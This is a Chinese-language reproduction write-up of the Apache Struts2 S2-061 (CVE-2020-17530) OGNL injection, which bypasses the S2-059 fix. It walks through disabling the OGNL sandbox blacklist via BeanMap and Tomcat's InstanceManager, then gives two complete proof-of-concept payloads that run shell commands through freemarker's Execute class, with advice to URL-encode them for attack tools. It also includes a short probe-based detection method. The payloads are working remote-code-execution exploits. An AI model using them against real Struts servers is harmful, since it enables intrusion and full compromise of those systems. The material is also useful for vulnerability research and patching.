# (CVE-2020-17530)S2-061
## 漏洞描述
本次漏洞是对`S2-059`漏洞修复后的绕过。`S2-059`的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本`2.5.26`版本中OGNL表达式的执行也修复了。
## 漏洞影响版本
“`
struts 2.0.0 – struts 2.5.25
“`
## 漏洞分析
本文仅是对`S2-061`进行复现,并且对复现的过程进行记录,具体的分析思路可以参考 [安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)](https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g)
*Smi1e*师傅tql 膜了 呜呜呜
## 漏洞复现
### 测试环境
“`
IDEA 2019.3.5
Struts2 2.5.26/Struts2 2.3.33
Apache-Tomcat-8.5.57
“`
### 相关依赖包
——
> 注意,搭建测试环境的时候,除了下载struts2的最小依赖包(`struts-2.x.xx-min-lib.zip`)以外,本次的环境,还需要依赖同版本包下的`commons-collections-x.x.jar`,可以在`struts-2.x.xx-lib.zip`中找到版本对应的包,后续会说明为什么一定需要这个包。
2.3.3相关依赖包
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01af16c23332dea10c.png)](https://p1.ssl.qhimg.com/t01af16c23332dea10c.png)
2.5.25相关依赖包
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01eb70f4425f4ccda6.png)](https://p3.ssl.qhimg.com/t01eb70f4425f4ccda6.png)
### 复现思路简略说明(具体思路请移步上文中的漏洞分析文章)
首先找到**struts2**标签解析的入口,也是我们本次漏洞**Debug**跟踪的重点。
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01c8a8c1fbcfa0e98b.png)](https://p1.ssl.qhimg.com/t01c8a8c1fbcfa0e98b.png)
全方法名:`org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag`
这里是标签解析的开始方法,同时这里能够观测到整个`OgnlValueStack`对象,也是我们开始寻找利用点的地方。
其中我们本次要使用的利用点就stack中断点可以找到(这一步在前面的思路分析中可以找到,但是因为debug点没有描述清楚,一开始找了很久,最后在查阅其他版本的文章分析才找到这个位置):
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01b8b198a68619856c.png)](https://p2.ssl.qhimg.com/t01b8b198a68619856c.png)
从上文中的位置,我们可以得到获取这个对象的获取调用链,如下图
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t017c67f80e473f864e.png)](https://p5.ssl.qhimg.com/t017c67f80e473f864e.png)
转换为ognl表达式后如下:`#application.get(‘org.apache.tomcat.InstanceManager’)`
`org.apache.catalina.core.DefaultInstanceManager` 的方法不做过多描述,借用分析文章中的一张图,可以使用这个对象中的`newInstance`方法实例化任意无参构造方法的类并返回。
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01e02bcee321468f8b.png)](https://p5.ssl.qhimg.com/t01e02bcee321468f8b.png)
创建`org.apache.commons.collections.BeanMap`对象(本次的漏洞复现的主角,同时这个包就在`commons-collections-x.x.jar`中)
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t018d8bd1870f920902.png)](https://p0.ssl.qhimg.com/t018d8bd1870f920902.png)
API简要描述(若想看详细方法分析,请移步到上文的分析文章):
“`
Object get(“xxxx”) 实际相当于调用内部对象的getXxx,比如getName()
Object put(“xxxx”,Object) 实际相当于调用内部对象的,setXxxx,比如setName()
void setBean(Object) 重新设置内部对象,设置完成后上面两个才能生效
Object getBean() 获取内部对象,这里可以在断点的时候查看到当前map中的实际对象
“`
整体创建的Ognl表达式(这里存放到application中,方便多次请求使用)
“`
%{#application.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)}
“`
获取到`OgnlContext`对象 (实际就是`#attr` 、`#request` 等map对象中的 `struts.valueStack`)并且设置到上一步的BeanMap中,用于绕过沙盒限制,进行内部方法调用。
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01e4878c6396e917f0.png)](https://p2.ssl.qhimg.com/t01e4878c6396e917f0.png)
Ognl表达式代码
“`
%{#application.map.setBean(#request.get(‘struts.valueStack’))}
“`
使用3和4同样的原理,利用 `BeanMap`使用`com.opensymphony.xwork2.ognl.OgnlValueStack` 中的 `getContext` 方法间接获取到 `OgnlContext`,并且重新设置到一个新的BeanMap中。
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t010834ecdfe2788525.png)](https://p4.ssl.qhimg.com/t010834ecdfe2788525.png)
这里把两个步骤的Ognl代码同时贴出来
“`
# 注意,自行调试的话,需要分两次执行
%{#application.map2=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)}
%{#application.map2.setBean(#application.get(‘map’).get(‘context’))}
“`
使用上面的原理,使用第二步得到的`OgnlContext`获取到内部的`com.opensymphony.xwork2.ognl.SecurityMemberAccess`对象,在设置到新的BeanMap中,用于重置黑名单
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t011ca666d244cfde75.png)](https://p0.ssl.qhimg.com/t011ca666d244cfde75.png)
“`
# 注意,自行调试的话,需要分两次执行
%{#application.map3=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)}
%{#application.map3.setBean(#application.get(‘map2’).get(‘memberAccess’))}
“`
确认一下之前存放的Map都正确存下来了,不然岂不是白忙活,其实每一步执行完后,都可以查看一次,确认每一步都是操作正确的,这里我就一次过了。
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t013ad7a8fe1ab70f12.png)](https://p3.ssl.qhimg.com/t013ad7a8fe1ab70f12.png)
前面的操作都确认没有问题后,就可以调用方法重置黑名单了,主要API为`com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClasses`和`com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames`,如下图
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01c2e6c54f3ae65a16.png)](https://p3.ssl.qhimg.com/t01c2e6c54f3ae65a16.png)
在我们这两个地方打了断点后,我们请求下面或者前面的ognl可以发现,在每次收到请求的时候,都会调用一次这里的黑名单赋值,也就是说,就算是我们在本次请求重置了黑名单,在下次请求的时候,黑名单还是会重置。因此只有前面的ognl可以持久化存储,实际利用的时候,必须要在一个请求中进行命令执行。下文还会有一个存放在`request`中的poc。
初次请求赋值:
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t0142df8c70636a114c.png)](https://p1.ssl.qhimg.com/t0142df8c70636a114c.png)
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01379e24755f960042.png)](https://p0.ssl.qhimg.com/t01379e24755f960042.png)
执行下面清空黑名单代码的重新赋值
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01d2429986989dd32b.png)](https://p4.ssl.qhimg.com/t01d2429986989dd32b.png)
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01baaac573fe9b5d3a.png)](https://p1.ssl.qhimg.com/t01baaac573fe9b5d3a.png)
清7空黑名单的ognl代码
“`
# 注意,自行调试的话,需要分两次执行
#application.get(‘map3’).put(‘excludedPackageNames’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’))
#application.get(‘map3’).put(‘excludedClasses’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’))
“`
这里就可以使用黑名单中的`freemarker.template.utility.Execute`类中的`exec`方法执行Shell了。需要最少和前面的8一起使用,才能执行成功。可以直接使用最后面的完整poc代码执行。
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t014b4b37153a9ab5bc.png)](https://p2.ssl.qhimg.com/t014b4b37153a9ab5bc.png)
[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t0107791381f8c2bd7b.png)](https://p2.ssl.qhimg.com/t0107791381f8c2bd7b.png)
执行shell的ognl代码
“`
#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘calc.exe’})
“`
## 完整POC
### 使用application,就是上面思路的完整POC
“`
%{
(#application.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#application.map.setBean(#request.get(‘struts.valueStack’)) == true).toString().substring(0,0) +
(#application.map2=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#application.map2.setBean(#application.get(‘map’).get(‘context’)) == true).toString().substring(0,0) +
(#application.map3=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#application.map3.setBean(#application.get(‘map2’).get(‘memberAccess’)) == true).toString().substring(0,0) +
(#application.get(‘map3’).put(‘excludedPackageNames’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#application.get(‘map3’).put(‘excludedClasses’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘calc.exe’}))
}
“`
### 使用request,单次请求有效的完整POC (推荐)
“`
%{
(#request.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map.setBean(#request.get(‘struts.valueStack’)) == true).toString().substring(0,0) +
(#request.map2=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map2.setBean(#request.get(‘map’).get(‘context’)) == true).toString().substring(0,0) +
(#request.map3=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map3.setBean(#request.get(‘map2’).get(‘memberAccess’)) == true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedPackageNames’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedClasses’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘calc.exe’}))
}
“`
> 注意:请使用url对以上的OGNL代码编码后,再在工具上使用。
## 检测思路
在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。
比如:
%{ ‘gcowsec-‘ + (2000 + 20).toString()}
预计会得到
gcowsec-2020
使用脚本判断结果中是否包含就可以了
## 总结
此次漏洞只是`S2-059`修复的一个绕过,并且本次利用的核心类`org.apache.commons.collections.BeanMap`在`commons-collections-x.x.jar`包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
请登录后查看评论内容